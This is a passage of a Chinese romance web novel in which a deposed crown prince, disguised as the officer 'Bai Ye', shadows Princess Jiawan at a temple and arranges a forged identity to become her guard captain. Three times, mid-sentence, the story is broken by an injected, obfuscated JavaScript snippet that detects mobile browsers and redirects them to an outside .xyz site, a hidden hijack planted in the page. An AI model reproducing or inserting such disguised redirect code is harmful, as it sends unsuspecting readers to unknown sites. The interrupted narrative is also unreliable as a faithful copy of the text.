前两词倒是常见的老把戏,无非说些多数人都会遇到的困厄,让人觉着似乎算得很准,这第三词倒是令盛霓和晚晴再度对视了一回。 凤来仪,凤乃翱翔九天之神鸟,这是看出了她的公主之尊?莫非无玄法师已提前与这位三谬法师招呼过? 盛霓问:“敢问法师,此三词能否展开讲解一二?” 三谬法师不修边幅地抓了抓头皮,嘿嘿笑道:“不可说,一说即破。” 盛霓并不强求。凶化吉,自是上佳;旧仇复,虽不明明白自己何仇之有,但能“复”总归不是坏词。 白夜看向盛霓的神情有些意外,没料到方才及笄的小女郎便有如此佛心,非但不以貌取人,还可随缘而适。 凤之一词,虽于皇族而言专有所指,但考虑到民间僧人所知有限,指代的也只能是公主了。白夜本只是来陪小公主玩玩,没想到这法师还真有几分眼力,不由提了提兴致。 三谬法师看向白夜,老眼眯了眯,啧了一声,似是有些困惑。 盛霓见三谬法师面露难色,也跟着看向白夜,但白夜脸上清俊干净,明明无甚异常。盛霓不明白三谬法师在迟疑什么。 白夜被三谬法师凝视半晌,面色不由一点点沉下去。他的容貌做过手脚不假,但绝不可能从外识破,莫非这和尚真有几分法术? 就在白夜即将出言询问时,三谬法师看破谜题一般欣慰地笑了起来,枯枝般的手指遥遥点着白夜,笑得意味深长:“原来如此,原来如此,郎君的三词请听……” “法师请说慢些,在下蠢笨,怕记不住。”白夜恭敬淡然的态度毫无破绽。 “好好好。”三谬法师深深望了白夜一眼,果真唱念得很慢:“第一词,昭阳雪。” “第二词,望东山。” 白夜眉心微动。 “第三词,坐朝——” 白夜目光陡然凌厉,宛如万千刀光自暗夜射出。 9. 主子 “坐抄经。”三谬法师笑着改口。 “坐抄经?”盛霓困惑地重复。 坐着抄经? 难道以后白校尉会出家?或是,因被她拒绝而无后路,沦落得替人抄经赚钱? 三谬法师嘿嘿笑道:“命格云云,信之则有,不信则无,不过是一厢愿说一厢愿听。只求若来日发觉老衲所言乃是胡说八道,不要回来找老衲理论便是。” 盛霓和晚晴都掩口笑了,从来只见算命者言之凿凿,生怕人家不信,怎么还有生怕自己的预言被人当真的? 盛霓道:“自然不会那般小气,况且三谬法师的箴言一向大有深意,怎会是胡说八道。” 晚晴将备好的香火钱给三谬法师留下,三谬法师也没推辞,仍旧笑呵呵地目送三人离去。 良久,他重新在旧门槛上坐下,抬头望向遥远明月,笑着叹了一声。 “嘉琬殿下信吗?”白夜问。 盛霓似乎心情很好,绣鞋踢踢路上的小石子,扬起小脸笑道:“若说得好听就信,不好听就不信。方才法师说得都还挺好听的,当然信呀,法师好像看出了本宫是公主呢。” 月华里她的面颊仿佛笼上一层冷色光晕,将甜美掩去几分,镀上一层不可亵渎的圣洁皎净。 “白校尉信吗?”盛霓问白夜,清灵的眼睛一眨不眨地观察他的反应。 “不信。” 昭阳雪,沉冤昭雪。 望东山,东山再起。 坐朝堂,君临天下…… 白夜唇角几不可察地染上冷笑。 定会实现,但轮不到一老僧预言。 “法师为何说白校尉‘坐抄经’呢?”盛霓不解,眉心蹙起,苦苦细思的模样郑重得可爱。 白夜温和莞尔:“许是在说末将有朝一日飞黄腾达,于是诚心抄写经文还愿吧。” 也只能这般理解了。盛霓点头,更加确信白夜不该留在钟慧公主府。若留在前朝公主府邸,哪有什么飞黄腾达可言。 昭阳雪,望东山,坐抄经。听上去倒也没什么特别的,更像是祝人驱散晦气、青云直上的吉利话,不似她得了个很准的“凤来仪”,直指身份。 如此胡乱推断下来,盛霓心中到底轻松了些。 “白校尉接下来可有什么打算?不怕白校尉笑话,本宫这般的府第,连一封能添彩的举荐信都无法提供给白校尉。白校尉帮过本宫两次,这情本宫记着,若有什么帮得上的,千万不要客气。” 小小的人儿,说话偏要学着一本正经的样子,白夜不禁好笑,墨眸微弯,但笑意依旧不达眼底。 “举手之劳,嘉琬殿下不必放在心上,能为殿下略尽绵薄,末将不胜荣幸。” 白夜的场面话比之盛霓可要炉火纯青得多。至于接下来的打算,干脆含糊略过。 “白校尉从盘州调入燕京,在燕京可有亲故?”盛霓继续打着寒暄的旗号探问。 信步缓行在夜阑人静的古刹,正是随口闲话的佳境,倒也不显刻意。 “有劳嘉琬殿下垂询,京中尚有故友,可相互照拂一二。”白夜不着痕迹地绕过了问题的核心。 “此番调入京城,想必是白校尉才高力强,在盘州颇见成绩,得上峰青眼。” 白夜淡淡自谦几句。 盛霓每问一句,总被他打太极一般滑溜溜避开重点,什么有用的信息都没挖出。 天色不早,盛霓也只得罢休,在禅房外与白夜分别。 …… 夜半,月之中天,奇异香气弥散在几间禅房间。 值夜的侍卫一连打了几个哈欠,最终没能敌住困意,纷纷倒地。 吱呀一声,白夜的禅房木门打开,英挺的身影消失在通往后山的小道。 后山银杏林间空旷静谧,月光下金黄铺地。风一卷,掀起满地叶浪。 白夜在林中亭的清漆长凳上坐下,不紧不慢地拂去落在膝头的一片枯叶。 蓦地,林间惊起飞鸟,银杏林一阵骚动,摇下金色的银杏雨。 月色中,一抹血红身影瞬息之间从树上跃下,起落间行动如风,两步迈入亭下折膝参拜。 “拜见主子。” 飞叶落定,林间恢复成一片不正常的死寂,仿佛只有这二人的存在,看不出被人清场把守的痕迹。 少年的神情动作一丝不苟,如同敬奉神明。 白夜淡淡瞥了血红锦衣的少年一眼。 少年立即起身,上好的锦衣料子半点褶皱都未留下,衣摆在风中微微荡起,灿若宝缎。 “禀主子,‘家里’一切正常。” 亭中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000583|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的白夜嗯了一声。 少年奉上一个小小的玉色扁瓷瓶:“这是徐九公子新配制的一批易容丹,共八颗。这次药效已延长至十个时辰,但同时副作用也会加剧。”说着,少年的头愈发低了下去,不忍心去看主子那张陌生的面孔。 白夜接下小扁瓶。 “主子,还有一事,徐九公子求见主子。” “为了嘉琬?”白夜嗓音的温度骤降。 今日在普度寺发现徐晏暗中打量嘉琬,白夜便觉不对,现下又为了嘉琬专程求见,白夜还有什么不明白的。相识许多年,他竟不知清清涟涟的徐晏还是个情种。 “只要嘉琬未曾牵涉其中,孤可以不伤及无辜。” 言外之意大约是,若嘉琬公主确实做过什么,他也绝不心慈手软。 少年应是:“主子思虑周全,若徐九公子贸然与主子见面被人跟踪,叫上面查出主子禁足期间擅离东宫,非但东宫上下都得赔上性命,就连徐九公子自己,乃至整个徐府,全都死无葬身之地。属下这就回绝徐九公子的请求。” 白夜点头,起身。 他的脊背挺拔有力,风吹动袍角,翻起墨布内侧的一角红衬,色暗如血。 少年如一杆冰雕一动不动,恭候吩咐。 白夜的嗓音仿佛浸着玄冰:“寺内有名老僧,唤作三谬法师,查查是何来历,怎会知晓孤的底细,若有异,杀之。” 知晓主子的底细?少年瞳仁微颤,不敢小觑,郑重应下。 就在这时,白夜凌厉的目光陡然射向灯火掩映处,仿佛苍鹰察觉猎物。 少年也跟着猛看过去。 幽幽深林间,一个纤细身影踉踉跄跄往此间林深处走来,似乎是个女子。 少年眯起眼。 嘉琬公主? 娇柔的身影跌跌撞撞,初冬的夜半只着一件蜜合色薄裙,在山风树影间如蕊如月,逆着灯火徐徐而来。 隐没的属下都极有眼色,无人贸然站出来暴露主子身份。 少年正想退避,白夜抬手拦住了他——小公主的样子,不像清醒着。 白夜带着几分困惑,举步迎了上去。 白夜步子越走越快,蓦地,眉心几不可察地一跳,足下点地,身子如箭飞出,在小公主被树根绊倒之前将人接在了怀中。 10. 禅房 小公主眉头蹙了蹙,在他怀里挣动了一下身子,似乎重新睡熟了。 少年鬼魅般悄无声息地追过来,不解:“醉梦香霸道,禅房外的公主府侍卫全被轻松迷倒,公主身小体瘦,不当漏网才是。” 白夜探了探盛霓的脉,并无不妥。 “许是离魂症。”白夜眸色暗沉。 “离魂症?”少年讶然。 从前倒是有所耳闻,梦中夜游之症,多因曾受惊吓所致,亦有人解释为魂灵深处的恐惧导致夜间魂不附体,他还多有不信,想不到会在年仅及笄的公主身上亲眼见到。 夜风寒甚,因醉梦香的缘故,小公主睡得昏沉,本能地往温暖处钻了钻,被柔顺墨发半遮的小脸已经冻得发白,软软的梨香幽幽隐隐。 少年见小公主毫不客气地往主子身上靠,眉峰挑了挑,道:“属下唤个内侍过来。” 外围把守的高手中有一队是内侍,没想到在这桩小意外上派上了用场。 “不必。” 白夜脱下外袍,盖在小公主单薄的睡裙上,沉默了一瞬,又动手将她包成了一个细长的粽子。 少年微愕,望着只剩一身单衣的主子,手下意识按在自己的外衣带上,但终究还是没动。 主子怎么可能屈尊披他的外衣。 月光下小公主未着鞋袜,左足趾尖有一点血痕,大约是被树根撞破了娇嫩的皮肉。 这一次少年眼疾手快,摸出了随身带的伤药。 白夜将药收进袖中,淡声道:“太冷,先回房。” 少年以为主子指的是他自己太冷,便没吱声,只是主人亲自抱着一个姑娘往回走,少年上前搭手也不是,不搭也不是,一时竟有些无措。 怀中人睡梦里抓住了他的衣襟。 白夜垂目一瞥,他的衣襟被攥起了一团褶皱。小公主睡相放松,淡淡月华里,粉唇边一点晶莹的口水几乎快要流下来,不知在做什么美梦。 …… “若好听就信,不好听就不信,方才说得都还挺好听的。” 月光下,小公主扬起的笑脸仿佛笼上一层皎洁光晕。 …… 白夜唇角不由染上一点笑意,旋即又敛去。 “不必查老僧了,算命谋生的和尚而已,且由他去。” 少年应是。 少年跟到银杏林的尽头,不便再前进,便停下脚步,朝白夜离去的方向俯身行礼,血红的衣摆在夜风里猎猎生响,半晌方才起身,而后纵跃入深林间,不见了踪影。 林间惊起飞鸟,四面八方的银杏树一阵异常的摇晃,黄金夜雨漫天,很快归于平静,仿佛从未被什么人重重把守过。 都似镜花水月。 就连“白夜”,也不过是个化名,就如那张易容过的脸,终究不是真的。 白,原是他的外祖母一族的姓氏。 白日将夜,沉冤未雪。 他实则是大延唯一的嫡出皇子。 本该在东宫幽禁的当朝太子,景迟。 …… 禅房外横七竖八倒着一地侍卫,景迟悄无声息地迈入嘉琬公主的禅房。 香风和温软的女儿气息扑面而来,仿佛来到了极其陌生的另一个世界,令景迟眉心蹙了蹙。 在东宫幽禁的漫长日子里,他不喜点灯,就让整座殿宇回归寂夜,成为宫城里唯一漆黑如坟茔的一角。 东宫注定是无法在长夜里安宁的,景迟却早已练就了夜能视物的本事。 禅房内漆黑一片,仍可看出下人们布置得精致用心。 一应器具都是府里带来的,炭火温暖,四壁挂着青秘色绡帐,床尾燃着的香气清甜绵雅,晚晴睡在地上的铺盖也厚软锦绣…… 处处透着娇柔甜馨。 景迟从未入过小女郎的起居之处。母后早逝,他便是幼时也不常去其他嫔妃宫中,日常所居所见皆是磅礴冷硬的风格。眼前景象于他,实在算得另一番天地了。 景迟没什么表情,只是在略显甜腻的香气中将眉头皱得更深。 他大步走到床边,将小公主放下,收回自己的外袍。 一扯之下却没能扯动,白皙的小手抓着外袍的一角不肯松手。 景迟的目光在那只冻得发红的小手上顿了顿,然后,用力,将外衣抽了出来。 盛霓动了动,翻身,不甚在意地再次睡沉。 早知小公主畏寒,若冻病了,明日便不能祈福,他心中的疑惑也就不会有答案。 景迟扯了锦被盖在小公主身上,又从袖中摸出伤药,朝地铺上瞥了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000584|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼——晚晴在醉梦香的作用下睡得死死的,口水沾湿了衣领,主仆的睡相倒是一脉相承。 景迟只得在床边半蹲下,握住小公主磕出血的左脚。 床边小几也是府中之物,叠放着一条崭新的雪帕子备用。 但他不能留下痕迹,便用雪白的中衣袖口小心地沾净血迹,将药轻轻涂在小巧的脚趾上,然后将小脚送回了锦被里。 做完这一切,景迟将药收起,目光扫视一周,确认没有留下半分痕迹。 跟在小公主身边的确会平添许多麻烦。 然而,只消一回想旧部在自己眼前横尸遍野的画面,就仿佛被一只铁钳般的手撅住了心脏,那一点不耐便如烈火覆冰,再无半点烟星。 “唔……”少女梦呓般的含混声音在寂夜里十分明显。 景迟警醒的目光扫过去,手半抬起,随时准备给小公主补一记睡穴,但小公主只是长睫轻颤,片刻后又没了动静。 姣好的睡颜天然无害,吹弹可破的肌肤如白瓷般细腻,本该是娇养在兄姐身边的天真小女郎。 “真想知道啊,”景迟缓缓凑近盛霓的脸,深邃眸底却毫无温度,“嘉琬在佛前,为孤许了什么愿?” 回到禅房,景迟亲自点亮案上的简陋油灯,从怀里摸出一个小圆铜片——比正常的护心镜略薄,打磨得十分光亮。 镜中映出的面孔还是俊朗如旧,但若仔细端详,便能发现五官脸型与白日间有些微不同。 果然药效到这时辰已经减退。 灯烛在墙上映出男人长长的影子,景迟从少年给他的小瓷瓶中倒出一颗水丸,仰头服下。 夜色掩藏了他发白的双唇和额角细密的冷汗,面目骨骼渐渐变化,最终变得与白日里别无二致。 捱过了刺骨的痛楚,男人端详着铜镜中名叫‘白夜’的皮囊,眼神不可见底。 木质粗疏的桌案上铺着供香客抄写佛经的纸,他提笔,蘸了些清水将笔头润开,在纸上信手写下一行无墨之字。 ——白日将夜,沉冤未雪。 字迹苍绝遒劲,风骨卓然。 搁笔,男人将纸撕为两半,点在烛火上,看着它寸寸燃尽。 既然小公主始终放不下戒心,那么有些事不可再等,须得连夜做了。 11. 祈愿 好像做了一夜的乱梦,腰腿都累得酸痛。 盛霓筋疲力尽地醒来,天光才微微亮。 听闻迎着晨曦的第一柱香最是灵验,盛霓本是最爱睡懒觉的,每次住在普度寺时却都不愿错过清早的珍贵晨光。 脚趾莫名有点痛,盛霓瞧了瞧,未见异样,大约睡着后不小心踢到了墙壁吧。在寺中过夜便是这点不好,到处都硬邦邦的,令人不惯。 梳妆毕,盛霓走出房门,看到换岗的侍卫们正在小声交谈,顺耳听了听,原来是在聊昨夜稀奇古怪的梦。 有人梦见大鸟从空中飞下来,把自己撞晕过去;有人梦见被豹子猛追不止,怎么都醒不过来,有人梦见猛虎下山,与之鏖战一场后沉沉睡去……总之都是离谱的梦。 盛霓听得有趣,笑道:“莫非山间有精怪,钻进了大家的梦里不成?” 众人立刻见礼。 还是阿七细心,朝大伙使了个眼色。大家心领神会,不禁有些懊悔,再不敢提昨夜乱七八糟的梦,生怕勾起小殿下的伤心事。 嘉仪公主虽说死于心疾,但诱发痼疾的根源终究是被猛兽所惊。在嘉琬公主面前提起猛兽云云,不妥。 盛霓似是看出了他们的避讳,冲青年们笑嗔道:“想必本宫也入了同一个梦,梦到被猛兽咬了脚趾呢,不知是你们谁梦里的老虎、豹子做的好事,可别叫本宫想起来,仔细罚你们。” 众人哄然一笑,在小公主清丽纯净的笑容里重新放松了心情。 怕摆起排场冲撞了佛祖,盛霓仍旧只带晚晴一人往大雄宝殿去。 景迟稍候片刻,远远地跟了上去。公主府从人原也知道他是与公主同行礼佛的,自然不去干涉。 时辰还早,普度寺又远在外郭,除去夜宿佛寺的虔诚信徒和当地乡人,沐着晨光前来进香的香客并不多,比之昨日摩肩接踵的盛况差得远了。 鸟鸣寺幽,山间云蒸霞蔚,朝露濡湿青砖,晨钟悠远入林,金光刺破云幕映在古朴飞檐。 景迟步履矫健,后发先至,提前绕进宝殿佛座后等候。洒扫的沙弥刚刚离开,景迟便藏身在阴影中。 …… “嘉琬殿下又去为太子哥哥祈福吗?有工夫在此纠缠,不怕误了?” …… 又,为他祈福? 昨日颐华郡主程菁菁脱口而出的不似假话,景迟却不能相信。 就算大内对外宣称的是太子卧病,可“病”了一年之久,但凡有点脑子的都能明白这意味着什么。 太子失势已久,也只因是圣上唯一的嫡子才未立刻被废,如今御案上请废太子的奏章一日比一日明目张胆,等到朝臣们争出个所以然来,在庶皇子里抉出一位获胜者,便是储位易主之时。 在这时候,竟还有人没眼色地给太子祈福? 嘉琬的确年幼,但好歹也是宫中教养长大的公主,自身还要仰天子鼻息,再怎么天真也不致犯这种低级错误。 若说嘉琬每月拖着病体来普度寺真是为了给他祈福,景迟绝不相信。 “嘉琬殿下,当心台阶。” 知客僧的声音传来。景迟内功深厚,耳力超出常人,隔着一层佛像和半座前殿听得清清楚楚。 今日,他就是神佛,不论小公主向佛求了什么,福也好,祸也罢,他都能一字不落地听进耳中,且看她卖的什么药。 第一缕晨曦照在大雄宝殿的慈悲佛面上,佛目低垂,拈花浅笑。 盛霓徐徐俯身,雀梅色斗篷铺开在蒲团后,遮住纤细窈窕的身形。 顿首再拜,盛霓敛裾站起,与晚晴相携而出。 殿外金光刺破层云,盛霓抬手遮住眼,日光下玉指的边缘仿佛是半透明的。简钗素面迎着朝阳,清灵得仿佛山间泉水。 佛像幕帘后的阴影里,景迟背靠泥塑,低头扯起唇角,面孔隐没在黑暗里,看不清神色。 …… “我佛在上,此心可鉴。” “吾名盛霓,世间一无亲孤女,三尺微命,茕茕一身。” “此生不妄图多福多寿、富贵绵延,唯愿太子哥哥德心善终,玉体康健,常安乐,得良报。” …… 他耳朵出问题了吗? 小公主在佛前祈求他平安喜乐。 她最后一次到东宫病榻前见他,大约已经听到了些风声,红着一双小鹿般的眼睛问他,还能不能相见。 他对这个没见过几面的异姓姊妹总多一分怜惜,更何况,小女郎如此心善,明明无甚交情却为他的事红了眼眶。 当时他莫名心头一软,隔着一道朦胧帘幔答 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无妨,他想做的事还没有做不成的,他有一百种手段可以使小公主就范。 算算时辰,昨夜的布置此刻应当已摆到了昭政殿龙案上。到了明日,他这个卫队统领她想留也得留,不想留也得留。 景迟转身欲走,忽然瞧见七宝莲花座前多了一只小小的手环,一看便是小姑娘的玩意儿——当中一朵梨花由绢布扎成,工艺巧夺天工。 他认得,那是昨日盛霓簪在发间的绢花。 景迟拿在手里瞧了瞧,用料名贵,淡淡梨香隐约,同昨夜禅房里燃着的香气一致。只是整体做工不甚精良,但凡出自婢女之手都会比这做得好些。 小公主不仅在佛前替他说着好听的话,还生怕佛祖不肯睬她,献上亲手制作的敬礼? 扎好的梨花手环放在香案上,佛自然不会收走,待香客多起来,不知会被哪个眼尖的偷拿了去。 景迟捏着手环,没有放回去的意思。 忽然,他察觉到了什么,回头看过去。 盛霓不知何时去而复返,正站在殿门外拿那双纯净的杏目望着他。 12. 话别 景迟捏着梨花手环,手臂微微发僵。 盛霓藏住心绪,面上笑得灿烂:“好巧,白校尉在这儿,来时怎么没见着?” 她本已往佛寺后院去了,半路感到一阵心悸难安,又折返回来,想再补上一柱香求个心安。 没料到竟遇到了白校尉。他与她当是从同一条路走来才对,怎么完全没碰见?他在此多久了,在她为太子哥哥的祈福的时候他在哪里,可听了去? 盛霓目光移到景迟手上:“咦,白校尉手里拿的什么?有点眼熟呢。” 景迟面不改色,回以明净无害的浅笑,答道:“末将见莲座下有一绢花,清净雅洁,想必汲取了晨光佛韵,正想献给嘉琬殿下。” 盛霓莞尔,并不戳破,只柔柔地道:“白校尉的美意本宫心领。只是这手环既在佛座前,便是佛祖之物,本宫岂可占有,还是送还原处吧。” 景迟顺从地躬身应诺。 盛霓并无别话,既有人在此,不再拜,携晚晴先行离去。 景迟恭送公主离开,回身将梨花手环往香案上送回去,却在最后一刻手腕翻转,将它收进了袖中,转身若无其事地大步离去。 回到禅房,几样清淡精美的朝食已摆在几上,晚晴为盛霓更衣,道:“白校尉不知那是小殿下亲手编制的手环,还想着献给小殿下呢,待小殿下的诚心可比赵逆强上百倍。” 盛霓知道晚晴舍不得白校尉,就算疑心他来路不明,到底没有实据,总还心存一分侥幸。她自己又何尝不希望只是多心。 可是,他当真没猜到那是她的手环吗?若非猜到那是她的物件,他一个武夫会特意拿起一只不甚惹眼的绢花手环细瞧吗? 还是说,他真的听到了什么不该听的,所以才在宝殿内驻留未返,继而注意到那只做工粗劣手环? 其实被一个低阶武将得知她在为太子祈福,也不是什么大事,毕竟太子至今并未被废。怕的是,他别有用心。 隐隐的不安感始终未曾消散,或许,还是该找机会套一套他的话。 晚晴一面和两个小婢女整理着盛霓的衣裳,一面还在喋喋不休:“奴婢瞧白校尉真是处处都好,昨日三谬法师的预言也未见奇异之处。正当用人之际,若就此错过一位良将,岂不可惜?” 盛霓换上夕岚上襦、法翠下裙,选了一只缃缕白玉佩环叫晚晴戴上。 当着其他仆婢的面,她没有说破自己那些乱七八糟的猜疑,只道:“即便白校尉的‘刻意’接近只是如城中风流郎君们那般的示好之意,可你瞧他那通身的气派,分毫不似武将粗人,又有一身邪门功夫,实在不像钟慧公主府可以消受的。” 晚晴仔细回忆了一遍,除了擅自处置赵双全那次,其实白夜的一举一动并无出格之处,甚至透着一股令人舒服的干净温和。公主平素并不是这般疑神疑鬼的性子,也不知这是怎么了,从聆风楼见到白夜的第一眼便说不喜。 但晚晴也明白,大殿下去了,小殿下决心要把钟慧公主府撑起来,不让他们这些忠心追随的下人跟着吃苦,所以于一些事上便莫名固执。 但愿公主回府后可从卫队中选拔出一位出类拔萃的大统领,否则南下这一程,真不知该如何是好。 用完朝食,从人有条不紊地收拾好行装返程。 一路上野色苍茫,偶尔有挑着扁担叫卖的村民从道上经过。待去了金陵,这样的京畿风貌在未来数月里都不能再见到了。 从承定门入了城,盛霓将车窗纱帘撩起一道缝,景迟就骑马行在斜前方不远处,始终与车身保持固定的距离,背影岿然。 景迟仿佛背后生了眼睛,毫无征兆地回头看过来。盛霓素手一颤,迅速放下车帘。 不多时,隐约的影子投在纱帘上,听得清朗的男音道:“嘉琬殿下每月赴普度寺,想必有要紧的心愿期盼达成。” 盛霓眨了眨眼。她还没想好如何刺探,倒被他先抢了话头。 盛霓深吸一口气,捏住软软的两腮扯了扯,扯出一个友善的微笑,重新挑起纱帘。 “白校尉想必也在佛前倾诉了心声?”盛霓笑眯眯地反问,“莫非是求佛祖保佑好前程?” 景迟道:“末将不能守护在嘉琬殿下身边,深感遗憾,但殿下不必为末将的前程挂牵,末将在京中会有去处。” “哎?”盛霓吃惊地张大了秀口,狐疑地盯着景迟。 原想着他一路跟着自己,是要走死缠烂打的路子,她还颇担心了一日,现下他竟主动知难而退了? “不知嘉琬殿下在佛前求了什么?”景迟单手握着缰绳,不紧不慢地跟在车侧,状似漫不经心地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15000586|161757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又问了一遍。 盛霓暂且把惊讶和疑窦放下,回以甜甜一笑:“听闻,在佛祖座前许的愿若说出去,就不灵了呢。” 景迟垂目,唇角勾了勾。这小公主,瞧着乖巧,却有几分鬼机灵,也学会了打太极,滑溜溜地把问题绕过去。 景迟明朗一笑,道:“末将却是不信这些,既能说给佛祖听,那便等同于说给天地听,既说给了天地听,便也没什么见不得人的。” 他控着马速,偏头看向盛霓。上午的日光薄薄的,洒在她雪白的面颊上,仿佛为上好的瓷器镀了一层暖色釉彩,朱唇皓齿的细节分毫毕现。 “家母早亡,家父厌弃,又有异母兄弟背后算计,末将如今来到燕京,只想寻一处能安身立命之地,自食其力。末将所求,便是有朝一日衣锦还乡,旧仇尽复。” 他道出这番话的时候,语气平平淡淡,仿佛在讲旁人的故事。 盛霓自幼锦衣玉食,便是活在燕京权贵圈的边缘,也是从来过着平和顺遂的日子,算计、复仇云云,于她而言实在太过遥远了。 景迟问道:“昨日三谬法师献给嘉琬殿下的三词,第二词为‘旧仇复’,莫非殿下也有仇家?” 盛霓摇摇头,“三谬法师所言,是指小恩小怨得以快意吧。” 她一小小女子,受皇家供奉,又是边缘人物,说权势谈不上权势,说富贵谈不上富贵,也不必到外面与人抢营生,哪里会有什么仇家。 若硬要说,也就是庆国公府的程子献和程菁菁兄妹俩与钟慧公主府公然失和,可那算得上仇吗?那是程家兄妹单方面的仇,不是她的。 那些一厢情愿又无疾而终的情愫,话本子里讲得多了。他们两兄妹婚事不顺,说到底,与她盛霓有什么关系? 景迟了然颔首,未再追问下去。 既然他已主动挑明不会再纠缠下去,盛霓也就不必绞尽脑汁打探他的底细。他到底帮过她两次,如今放下戒心,这份情还是要还的。 “既然白校尉会有佳处高就,待安置妥当,烦请遣人来公主府告知一声,本宫有礼相赠。白校尉也已拒绝本宫两次,这第三次若再驳了本宫的面子,本宫可要生气了。” 她嘟嘟唇,作势不是唬人。 景迟眼底闪过笑意,正要开口,几声爆喝从远处响起。 13. 身份 马蹄声轰然如雷,人群骤然骚动,急急躁声震动着心脏,越来越近。 盛霓素来胆小,心头一突,谨慎地偏头向外望去。 前方横街一路扬尘,一队服饰整齐划一的骑者跑马而过,所过之处鸡飞狗跳、行人避窜,几个孩童被这阵仗吓得哇哇大哭起来。 盛霓的马车紧急停住,宝马险些惊了,被驭者娴熟控住。 晚晴拍着心口:“真是倒霉!又碰到秦镜司办案。这些秦镜使真是的,巡防司明令规定城内不许当街跑马,偏他们仗着自己由圣上直辖,想怎么来就怎么来。” 盛霓在她脸蛋上刮了一下,笑骂:“小声,当心被秦镜使听去,半夜敲你的房门。” “当心秦镜使半夜敲你的房门”是燕京城人尽皆知的名言俗语了。 小孩子不听话,大人便说:“再不听话,仔细秦镜使半夜将你捉了去!” 邻里发生口角,骂街的时候便说:“你等着,秦镜使今夜就抄到你家!” 晚晴撇撇嘴:“奴婢可不怕,左右奴婢与小殿下睡在一起,敲奴婢的房门便是敲小殿下的房门。” 盛霓笑嗔着掐了一把晚晴肉嘟嘟的脸蛋,晚晴疼得呲牙,噘着嘴躲开。 燕京人早已习惯了秦镜使的雷霆作风,他们外勤办案从来都是风驰电掣,甚至不需文书,只要拿着一块秦镜使令牌,所过之处便无人敢拦。 秦镜司的存在本是为了捍卫王法,他们自身却从来不讲王法,凡抄家,从不先举罪证,只传圣上口谕,待抄完再反证其合理性。 然而,秦镜司设立至今,从未错冤过一户好人,是以朝野就算背地里日日骂秦镜司,也只是过过嘴瘾而已,心底里还是将其视为正经衙门,畏惧多过嫌恨。 前方的路口被冲撞得乱七八糟,菜叶、纺品砸了一地,还不如绕道走得快些。 景迟就此向盛霓辞别。 盛霓扒着车窗边沿诚心诚意地道:“本宫说的话,不要忘了呀。” 便是此前心怀芥蒂,人家毕竟帮过她,姐姐说过,不可平白受人恩惠。只可惜钟慧公主府自身尚需谨言慎行,于人脉、仕途上帮不上他,他又莫名视金钱如粪土,盛霓能想到的也就只有稀奇雅玩,不知哪件能入得了邪神的眼,免不得回府着人仔细挑选。 景迟颔首:“恭敬不如从命。” 两人又话别几句。 盛霓脸上笑意盈盈,场面上的惜别之意倒也恳切,但一撂下纱帘,她立时一脸轻松,比方才笑意更真。 “虚惊一场,总算是摆脱了。远行在即,天上掉的馅饼本宫当真不敢捡,此人虽则才貌双全,却处处看不透,哪里比得上咱们府里自己的侍卫叫人放心呢?” “小殿下也学会谨慎行事了。”晚晴一则为错过白校尉惋惜,一则也觉小殿下分析得有理,且越来越具大殿下之风,果真能坚定心意,不被白校尉的武艺与皮囊迷住。 盛霓道:“不知留守府中的卫队这两日筹备得如何,明日可要拉出来比试比试了,看谁能拔得头筹,凭本事赢得大统领一职。各项武试的前三甲本宫都有重赏。” 公主府车队碌碌远去,景迟就在原地保持着恭敬的仪态目送。 直到车队转弯,在视野里消失不见,景迟一身的恭肃瞬间褪去,上位者的威势再不遮掩,幽邃眸底不辨情绪。 挑着竹木货架卖铜镜的小商贩凑到景迟身边,堆笑道:“客官,看看新上的样子可有何意的?随身避邪也可,赠与娘子也可,好看不贵。” 说着,小商贩不知从哪里变出一个巴掌见方的扁平物什,握在手里半遮掩着递给景迟。 那是一枚赤金打造的令符,通体浅刻獬豸纹,其上以状似古铭文的字体刻着二字——白夜。 右下角另有三个古体小字——秦镜使。 “按主子的吩咐,新身份的种种细节已全部伪造完成。” 小商贩笑颜不改,在熙攘街边压低了声音。 “从今往后,‘白夜’便是盘州调入燕京的秦镜使,也是圣上即将御赐给钟慧公主府的卫队大统领。” 延帝要从京外调任秦镜使,赐给钟慧公主府做卫队统领,东宫一早便探得了消息。 若想接近嘉琬公主,再没有比这更适宜的契机。 东宫要做的,就是将这位即将调入京城的某秦镜使移花接木,选定为他们凭空打造出的“白夜”。 延帝从地方上抽调秦镜使入京的手谕一送到秦镜总司,东宫便暗中运作,一力促成总司从盘州选调人员。 小商贩又从竹架上摘下一面小铜镜给景迟瞧,笑呵呵地仿佛在尽心推销。 